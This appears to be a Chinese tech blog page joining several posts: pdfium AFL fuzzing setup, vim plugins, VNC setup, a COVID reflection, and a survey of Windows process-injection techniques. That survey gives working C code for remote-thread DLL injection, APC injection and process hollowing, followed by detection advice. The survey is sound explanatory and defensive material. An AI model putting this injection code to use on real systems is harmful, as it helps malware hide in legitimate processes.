0%

整个春节被武汉的新型冠状病毒肺炎搞得人心惶惶,2020 注定是我们这辈人难忘的一年,非典的时候比较小感觉没那么恐怖,现在的感觉就完全不一样了,整天都在洗手中度过。

在病情扩散期间,大量消息满天飞,给政府提意见的更是比比皆是,但是大家都忽视了 一点,就是要相信专业。很多人不太明白专业和非专业之间的差距,可以想象一下你和一 个围棋九段的人下围棋,怎么换到医学领域大家就都是专家了?

我看到一个建议轻征不隔离,把资源让给重症者。

大家觉得这个建议如何?提这个建议的人说,主要依据是死亡人不多。这个犯了几个错误, 第一,要看死亡率,而不是死亡人数,患病的人多了,自然死人的就多了。第二,根据我 有限的常识,病毒是会自适应性的进化的,感染的人多了,可能就会产生更nb 的变种了。

这个事情主要还是相信国家,相信我们的祖国。我觉得这个事情一定会解决了,只是时间 和损失程度问题,一季度的gdp 肯定是受影响了,希望疫情快点过去,天佑中华!

最后希望所有看到此文的,新年幸福安康!

下载源码

先在 https://pdfium.googlesource.com/pdfium/ 下载源码.

1
2
3
4
5
mkdir repo
cd repo
gclient config --unmanaged https://pdfium.googlesource.com/pdfium.git
gclient sync
cd pdfium

gclient 命令在 depot_tools 中, 需要安装 参考下面的文章

http://www.chromium.org/developers/how-tos/install-depot-tools

1
2
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"

主要gclient sync 同步时需要翻墙,可以简单的使用环境变量的方法。

https_proxy=http://localhost:8118 gclient sync 下载 download google storage过
程中还会遇到一个网络问题,需要编写配置文件 ~/.boto

1
2
3
[Boto]
proxy = 127.0.0.1 # 不带 http://
proxy_port= 8118

export NO_AUTH_BOTO_CONFIG=~/.boto

源码包非常大,大概有1G多,需要耐心等待。

编译

编译需要使用 ubuntu 或者 Debian 系统,其他系统的依赖问题解决起来比较麻烦,
如果是上面两种操作系统的话,有脚本自动安装依赖。

./build/install-build-deps.sh

安装完所以依赖后就可以开始编译了,首先要先生成 gn 文件 (2016 年google 放弃使用原来的 gyp 编译方式)

gn args out/afl 会调用vim 编译器, 输入下面的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

# Build arguments go here.
# See "gn args <out_dir> --list" for available build arguments.
use_goma = false # Googlers only. Make sure goma is installed and running first.
is_debug = false # Enable debugging features.

pdf_use_skia = true # Set true to enable experimental skia backend.
pdf_use_skia_paths = false # Set true to enable experimental skia backend (paths only).

pdf_enable_xfa = true # Set false to remove XFA support (implies JS support).
pdf_enable_v8 = true # Set false to remove Javascript support.
pdf_is_standalone = true # Set for a non-embedded build.
is_component_build = false # Disable component build (must be false)
v8_static_library = true

clang_use_chrome_plugins = false # Currently must be false.
use_sysroot = false # Currently must be false on Linux, but entirely omitted on windows.

use_afl = true
#is_asan = true
enable_nacl = true
optimize_for_fuzzing = true
symbol_level=1

使用 ASAN 编译会报错,暂时不开启,接下来要解决 afl 的问题了, pdfium 的 third_party
中不包含 afl-fuzz 的源代码,需要到 chromium.googlesource.com 项目下载。
chromium 项目支持 libfuzzer 和 afl-fuzz,只要使用开关, use_libfuzzer = true
或者 use_afl = true 即可打开。

要编译生成 pdfium_test, 必须指定 pdf_is_standalone = true, pdfium 源码仓库中没有
afl-fuzz 的代码,需要自己下载。

https://chromium.googlesource.com/chromium/src/third_party/+/master/afl/

可以直接下载 .tgz 文件
https://chromium.googlesource.com/chromium/src/third_party/+archive/master/afl.tar.gz

下载后将源码 copy 到 ~/repo/pdfium/third_party/afl 中, 使用 ninja -C out/afl 编译整个项目。

使用 is_debug=false 可以明显提高fuzzing 速度,应该开启。另外一个比较有用的是
symbol_level, 设置 symbol_level=1 可以添加必要的调试符号,便于gdb调试。

在编译 skia backend 支持时,需要额外处理, 使用 C++14

1
use_cxx11 = false

afl-fuzz

随着 chromium 代码的更新, afl 源码编译出现了一些小问题,需要处理。

src/third_party/afl/patches/0001-fix-build-with-std-c11.patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
diff --git a/afl-fuzz.c b/afl-fuzz.c
index 01b4afef0ecc..f0d564a33037 100644
--- a/afl-fuzz.c
+++ b/afl-fuzz.c
@@ -23,7 +23,9 @@
#define AFL_MAIN
#define MESSAGES_TO_STDOUT

+#ifndef _GNU_SOURCE
#define _GNU_SOURCE
+#endif
#define _FILE_OFFSET_BITS 64

#include "config.h"
diff --git a/types.h b/types.h
index 784d3a7a286d..d24d1fdd97e8 100644
--- a/types.h
+++ b/types.h
@@ -78,7 +78,7 @@ typedef int64_t s64;
#define STRINGIFY(x) STRINGIFY_INTERNAL(x)

#define MEM_BARRIER() \
- asm volatile("" ::: "memory")
+ __asm__ volatile("" ::: "memory")

#define likely(_x) __builtin_expect(!!(_x), 1)
#define unlikely(_x) __builtin_expect(!!(_x), 0)

afl-fuzz 的使用和其他项目一样。初始的种子文件有几个地方可以获取:

./afl-fuzz -M 01 -m 1024 -i /home/henices/input -o /home/henices/out -x /tmp/pdf.dict -- ./pdfium_test @@

参考资料

1. Process Injection 方法总结

进程注入是windows病毒和恶意软件最常用的手法之一,Windows下进程注入的方法比较
多,这里介绍常见的一些方法,以及相应的检查手段。

1.1 SetWindowsHookEx

SetWindowsHookEx估计是大家最熟悉的方法了,这个是微软提供给我们使用正规用法。
往Windows的hook chain中安装hook 例程,监控系统某种类型的event, 使用这种方法需要
实现一个dll。

1
2
3
4
5
6
HHOOK WINAPI SetWindowsHookEx(
_In_ int idHook,
_In_ HOOKPROC lpfn,
_In_ HINSTANCE hMod,
_In_ DWORD dwThreadId
);
  • dwThread 为0,将监管系统中所有线程。
  • idHook 指定监控event的类型
  • hMod dll句柄
  • lpfn hook例程的指针

MSDN给出了一个使用的例子:

1
2
3
4
5
6
7
8
9
10
11
12
HOOKPROC hkprcSysMsg;
static HINSTANCE hinstDLL;
static HHOOK hhookSysMsg;

hinstDLL = LoadLibrary(TEXT("c:\\myapp\\sysmsg.dll"));
hkprcSysMsg = (HOOKPROC)GetProcAddress(hinstDLL, "SysMessageProc");

hhookSysMsg = SetWindowsHookEx(
WH_SYSMSGFILTER,
hkprcSysMsg,
hinstDLL,
0);

值得一提的是这个API只能监控GUI程序,console的程序是监控不了。当年使用的时候还吃
了亏。

1.2 lpk.dll

这是一种比较常见的方法,一般把这种方法称为 dll 劫持 (dll hijack),lpk.dll默认
的位置在,如果在其他的路径发现lpk.dll就需要需要注意了。

这种方法需要实现和原始的lpk.dll一样导出函数,每个函数都转向调用真正的lpk.dll
中的导出函数,这样对于程序来说是完全感觉不到什么异常变化的,但是却被伪造的lpk.dll
过了一道,所以称为为劫持。

这里有二个问题,值得思考。

如何能让程序加载我们的lpk.dll而不是系统真正的dll

如果知道Windows查找dll的顺序,就很容易解决这个问题了,微软的MSDN网站很贴心地
回答了我们的问题。

http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586(v=vs.85).aspx

1
2
3
4
5
6
7
8
9
a. The directory from which the application loaded.
b. The current directory.
c. The system directory. Use the GetSystemDirectory function to get the path of this directory.
d. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
e. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
f. The directories that are listed in the PATH environment variable. Note that
this does not include the per-application path specified by the App
Paths registry key. The App Paths key is not used when computing the DLL
search path.

因此把lpk.dll放到运行的程序同一目录即可。

为什么选取lpk.dll

Windows 7 开始,默认已经不加载LPK.dll了,要Windows 7 默认加载LPK.dll
需要修改注册表,导入下面的注册表, 重启后生效

1
2
3
4
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"ExcludeFromKnownDlls"=hex(7):6c,00,70,00,6b,00,2e,00,64,00,6c,00,6c,00,00,00,00,00

1.3 CreateRemoteThread

CreateRemoteThread应该是非常常用的进程注入方法了,有两种常见的使用方法。API
原型如下:

1
2
3
4
5
6
7
8
9
 HANDLE WINAPI CreateRemoteThread(
_In_ HANDLE hProcess,
_In_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_ LPDWORD lpThreadId
);
  • hProcess 要注入的进程的句柄
  • lpStartAddress 远程进程中执行的函数的地址(指针)
  • lpParameter 远程进程中执行的函数的参数的地址 (指针)

实现个DLL

第一种方法同样是跨进程调用LoadLibrary加载指定的DLL,我们自己实现一个DLL,就可以为所欲为了,呵呵。

从API原型中可以看出,需要把数据写入远程的进程,Windows系统提供了WriteProcssMemory
来干这个事,但是如何能够保证我们往远程进程写的地址是可写的呢?

答案是无法保证。。。所以比较稳妥的方法是我们自己在远程进程中申请一块可写的内
存,然后把我们的数据写到远程进程中去。

在远程进程中申请内存也有相应的API VirtualAllocEx, 把前前后后都串起来就可以远
程注入DLL了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);
if (process == NULL) {
printf("Error: the specified process couldn't be found.\n");
}

/*
* Get address of the LoadLibrary function.
*/
LPVOID addr = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
if (addr == NULL) {
printf("Error: the LoadLibraryA function was not found inside kernel32.dll library.\n");
}

/*
* Allocate new memory region inside the process's address space.
*/
LPVOID arg = (LPVOID)VirtualAllocEx(process, NULL, strlen(buffer), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (arg == NULL) {
printf("Error: the memory could not be allocated inside the chosen process.\n");
}

/*
* Write the argument to LoadLibraryA to the process's newly allocated memory region.
*/
int n = WriteProcessMemory(process, arg, buffer, strlen(buffer), NULL);
if (n == 0) {
printf("Error: there was no bytes written to the process's address space.\n");
}

/*
* Inject our DLL into the process's address space.
*/
HANDLE threadID = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)addr, arg, NULL, NULL);
if (threadID == NULL) {
printf("Error: the remote thread could not be created.\n");
}
else {
printf("Success: the remote thread was successfully created.\n");
}

/*
* Close the handle to the process, becuase we've already injected the DLL.
*/
CloseHandle(process);

前面的代码示例代码,看起来很正常,基本上CreateRemoteThread的例子都是这么写的
但是如果如何看的仔细,还是会发现一个问题,不是说lpStartAddress必须是远程进程中
的地址吗,可是LoadLibraryA的地址是注入进程的地址不是远程进程中的地址。

很多文章在这里都没有说透,但是牛书《Windows核心编程》对此有着详细的说明。根据
经验Windows系统总是把Kernel32.dll映射到进程的相同地址,Windows开启ASLR后,重启后
进程中Kernel32.dll的地址会发生变化,但是每个进程中Kernel32.dll的地址仍然相同!
所以我们可以在远程的进程使用本地进程的内存中的LoadLibraryA的地址。

写远程进程内存

第二种方法是直接远程注入代码,不注入DLL,其实并不一定要调用CreateRemoteThread
还有好几种替代方法,

  1. CreateRemoteThread最终会调用NtCreateThreadEx Native API,可以直接调用这个
    Native API来启动远程的线程。
  2. RtlCreateUserThread

1.4 AppInit_DLLs

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs

这个键值被《Windows核心编程》介绍而格外出名,可执行文件在处理User32.dll的
DLL_PROCESS_ATTACH 时,会使用LoadLibirary加载AppInit_DLLS, 不链接User32.dll的程
序将不会加载AppInit_DLLS, 很少程序不需要链接User32.dll

新版本的Windows增加了几个关键的键值,会对DLL的注入有影响。

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs

  • REG_DWORD 1 表示全局开启
  • REG_DWORD 0 表示全局关闭

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\RequireSignedAppInit_DLLs

  • REG_DWORD 0 加载任意DLL
  • REG_DWORD 1 只加载签名的DLL

1.5 QueueUserApc

QueueUserApc API 原型如下:

DWORD WINAPI QueueUserAPC(
In PAPCFUNC pfnAPC, // APC function
In HANDLE hThread, // handle of thread
In ULONG_PTR dwData // APc function parameter
);

这个注入方法用的不多,但是也是老方法了,pjf在2007年《暴力注入explorer》的文章里
就提到了这种方法。作用是在线程的Apc队列插入一个用户模式下的APC 对象。

APC 是 asynchronous procedure call 的缩写,每个线程都有自己的APC队列,在线程APC
队列中的APC对象的函数将被线程执行,但是用户模式下的APC对象里的函数并不一定会马上
执行(所以是异步的),除非线程是alertable状态。当线程是alertable状态是,APC队列
里的Apc对象,按照FIFO的顺序进行处理,执行APC函数。线程调用 SleepEx,
SignalObjectAndWait, WaitForSingleObjectEx, WaitForMultipleObjectsEx 或者
MsgWaitForMultipleObjectsEx时线程进入alertable状态。

所以为了我们的函数能够尽快的执行,我们必须在目标进程所有的线程的APC队列中插入
APC 对象,基本上总有一个线程是alertable状态。

核心伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DWORD ret;
char *DllName = 'c:\\MyDll.dll';
int len = strlen(DllName) + 1;

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
PVOID param = VirtualAllocEx(hProcess, NULL, len, MEM_COMMIT | MEM_TOP_DOWN, PAGE_READWRITE);

if (param != NULL) {
if (WriteProcessMemory(hProcess, param, (LPVOID)DllName, len, &ret)) {
for (DWORD p = 0; p < NumberOfThreads; p ++) {
hThread = OpenThread(THREAD_ALL_ACCESS, 0, ThreadId[p]);
if (hThread != 0) {
InjectDll(hProcess, hThread, (DWORD)param);
CloseHandle(hThread);
}
}
}

void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param) {
QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle('kernel32.dll', 'LoadLibraryA', hThread, (DWORD)param);
}

1.6 ZwMapViewOfSection

这是最近出现的比较新的进程注入方法,在2014年左右有样本开始使用这种方法注入进程。
这种技术的本质是进程替换,使用合法的正常进程,执行的确是恶意的代码。

基本步骤如下:

  1. 使用CREATE_SUSPENDED调用CreateProcessW创建进程
  2. 使用ZwUnmapViewOfSection卸载进程空间中的原始代码
  3. 使用VirtualAllocEx分配内存,确保分配区域可写可执行
  4. 使用WriteProcessMemory在分配区域内写入恶意代码
  5. 使用SetThreadContext设置线程内容为指定的恶意代码
  6. 使用ResumeThread回复进程执行

代码中用到PEB的结构:

1
2
3
4
5
6
7
>dt nt!_PEB
+0x000 InheritedAddressSpace : UChar
+0x001 ReadImageFileExecOptions : UChar
+0x002 BeingDebugged : UChar
+0x003 SpareBool : UChar
+0x004 Mutant : Ptr32 Void
+0x008 ImageBaseAddress : Ptr32 Void

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
BOOL InjectProcess(LPTSTR VictimFile,LPTSTR InjectExe)
{
HANDLE hFile;
DWORD dwFileSize; //文件大小
IMAGE_DOS_HEADER DosHeader;
IMAGE_NT_HEADERS NtHeader;
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT context;
PVOID ImageBase;
unsigned long ImageSize;
unsigned long BaseAddr;
unsigned long retByte = 0;
LONG offset;
HMODULE hNtDll=GetModuleHandle("ntdll.dll");
if(!hNtDll)
return FALSE;
ZWUNMAPVIEWOFSECTION ZwUnmapViewOfSection = (ZWUNMAPVIEWOFSECTION)GetProcAddress(hNtDll,"ZwUnmapViewOfSection");
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
si.cb = sizeof(si);

hFile = ::CreateFile(InjectExe,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
return FALSE;
}
::SetFilePointer(hFile, 0, NULL, FILE_BEGIN);
dwFileSize = ::GetFileSize(hFile, NULL);
LPBYTE pBuf = new BYTE[dwFileSize];
memset(pBuf, 0, dwFileSize);
DWORD dwNumberOfBytesRead = 0;
::ReadFile( hFile
, pBuf
, dwFileSize
, &dwNumberOfBytesRead
, NULL
);

::CopyMemory((void *)&DosHeader,pBuf,sizeof(IMAGE_DOS_HEADER));
::CopyMemory((void *)&NtHeader,&pBuf[DosHeader.e_lfanew],sizeof(IMAGE_NT_HEADERS));
//检查PE结构
//以挂起方式进程
BOOL res = CreateProcess(NULL,VictimFile,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);

if (res)
{
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread,&context)) //如果调用失败
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ReadProcessMemory(pi.hProcess,(void *)(context.Ebx + 8),&BaseAddr,sizeof(unsigned long),NULL);
if (!BaseAddr)
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//拆卸傀儡进程内存模块
if (ZwUnmapViewOfSection((unsigned long)pi.hProcess,BaseAddr))
{
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
ImageBase = VirtualAllocEx(pi.hProcess,
(void *)NtHeader.OptionalHeader.ImageBase,
NtHeader.OptionalHeader.SizeOfImage,
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE); //ImageBase 0x00400000
if (ImageBase == NULL)
{
DWORD wrongFlag = GetLastError();
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
//替换傀儡进程内存数据
if(!WriteProcessMemory(pi.hProcess, ImageBase, pBuf, NtHeader.OptionalHeader.SizeOfHeaders, &retByte))
{
DWORD wrongFlag2 = GetLastError();
}
//DOS 头 + PE 头 + 区块表的总大小
//定位到区块头
offset = DosHeader.e_lfanew + sizeof(IMAGE_NT_HEADERS);
IMAGE_SECTION_HEADER secHeader;
WORD i = 0;
for (;i < NtHeader.FileHeader.NumberOfSections;i++)
{
//定位到各个区块
::CopyMemory((void *)&secHeader, &pBuf[offset + i*sizeof(IMAGE_SECTION_HEADER)],sizeof(IMAGE_SECTION_HEADER));
WriteProcessMemory(pi.hProcess,(LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress),&pBuf[secHeader.PointerToRawData],secHeader.SizeOfRawData,&retByte);
VirtualProtectEx(pi.hProcess, (LPVOID)((DWORD)ImageBase + secHeader.VirtualAddress), secHeader.Misc.VirtualSize, PAGE_EXECUTE_READWRITE,&BaseAddr);
}

context.ContextFlags = CONTEXT_FULL;
//重置 执行文件入口
WriteProcessMemory(pi.hProcess, (void *)(context.Ebx + 8),
&ImageBase, //4194304
4, &retByte);
context.Eax = (unsigned long)ImageBase + NtHeader.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&context);
ResumeThread(pi.hThread);
}

CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
::CloseHandle(hFile);
delete[] pBuf;
return TRUE;
}

2. 检测方法

  1. 注册表相关注入继续可以通过Hook写注册表相关API实现监控
  2. SetWindowsHookEx则需要检查最后一个参数是否为0,为0表示全局注入,这是我们
    关注的地方。但是输入法之类的正常程序也可能使用注入技术。
  3. CreateRemoteThread进程注入比较复杂,核心要点是要有跨进程写入数据的动作,
    后续从两个维度来进行检查

2.1 检查跨进程写入的数据

虽然WriteProcessMemory的底层API经常被Windows底层用作数据传递,但是通过
特征可以识别出来

  1. 写入的数据是PE文件
  2. 写入的数据里包含.dll (一般是DLL文件名,或者是导入表相关数据)
  3. 写入超长数据

2.2 检查线程代码执行部分地址

检查代码地址是否在WriteProcessMemory写入的数据区域之内

参考链接

公司使用svn管理源代码,避免不了要和svn打交道,有几个比较好的解决方案。

1. vcscommand.vim

http://www.vim.org/scripts/script.php?script_id=90

这个插件的特点是支持的版本管理工具多,支持git,svn等常见版本管理工具。
vcscommand.vim插件默认绑定了无差别的快捷键,使用起来非常方便。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|<Leader>|ca VCSAdd
|<Leader>|cn VCSAnnotate
|<Leader>|cN VCSAnnotate!
|<Leader>|cc VCSCommit
|<Leader>|cD VCSDelete
|<Leader>|cd VCSDiff
|<Leader>|cg VCSGotoOriginal
|<Leader>|cG VCSGotoOriginal!
|<Leader>|ci VCSInfo
|<Leader>|cl VCSLog
|<Leader>|cL VCSLock
|<Leader>|cr VCSReview
|<Leader>|cs VCSStatus
|<Leader>|cu VCSUpdate
|<Leader>|cU VCSUnlock
|<Leader>|cv VCSVimDiff

这个 <Leader> 得看你定义了什么快捷键,vim 默认的是 \

2. vim-unite-svn

小日本写的unite.vim的svn插件,unite.vim 是一个非常不错的vim插件,
它的作用是 为vim 写简单界面,要使用vim-unite-svn首先需要安装unite.vim 插件,
折腾这个插件的原因是vcscommand.vim有些不太好的地方。

  • buffer管理的不太好
  • status 比较弱
  • 羡慕emacs的vc mode的体验

https://github.com/Shougo/unite.vim

小日本写的 vim-unite-svn 插件太久没有更新了,有一些bug,我修改了一下,用了
一段时间暂时没有发现什么问题。

https://github.com/henices/vim-unite-svn

支持基本的svn命令, svn status, svn info, svn diff, svn commit, svn up

使用示例

1
2
3
:Unite svn/status
:Unite svn/diff
:Unite svn/blame

vim 的编辑能力确实很强,今天说一下如何在vim中输入特殊字符,比如音标、unicode 字符。

http://vimhelp.appspot.com/digraph.txt.html
http://vimhelp.appspot.com/insert.txt.html#i_CTRL-V_digit

关键就在上面两篇,可能许多人不喜欢看复杂的文章,我这里简单介绍一下用法。

输入音标 ə

i 进入编辑模式 CTRL-vu0259
那如何知道 ə 的 unicode hex number 是 0259呢,在vim的normal 模式下,将光标移动到ə输入ga

输入 ⇒

i 进入编辑模式 CTRL-k=>
:dig 可以看到支持这种方法输入的unicode 字符

因为疫情,现在公司启用远程办公了,不得已在工作机上开了vncserver,这篇文档做个记录。

(1) 安装

1
sudo dnf install tigervnc-server

(2) 创建服务

1
cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@.service

编辑 /etc/systemd/system/vncserver@.service 替换下面两行的USER为实际用户名

1
2
ExecStart=/sbin/runuser -l USER -c "/usr/bin/vncserver %i -geometry 1280x1024"
PIDFile=/home/USER/.vnc/%H%i.pid

执行命令 systemctl daemon-reload

使用vpnpasswd修改密码

1
2
3
4
~]# su - USER
~]$ vncpasswd
Password:
Verify:

启动vncserver的命令行

1
sudo systemctl start vncserver@:1

参考文档:

https://docs.fedoraproject.org/en-US/Fedora/21/html/System_Administrators_Guide/ch-TigerVNC.html

(3)直接调用命令行

使用上面的方法过于繁琐,可以直接调用 vncserver 的命令行

vncserver :2 -geometry 1920x1080 -depth 24

(4) 改变vnc的默认桌面

vim ~/.vnc/xstartup

1
2
3
4
5
6
7
#!/bin/sh

unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
#exec /etc/X11/xinit/xinitrc

exec /bin/sh /etc/xdg/xfce4/xinitrc

必须改变默认桌面,要不可能登录不进去。

其他

个人觉得从安全角度看,使用命令启用 vncserver 是比较合理的,要用了就打开,用完就关。另外vncserver 连接加了一层 tunnel,安全无小事。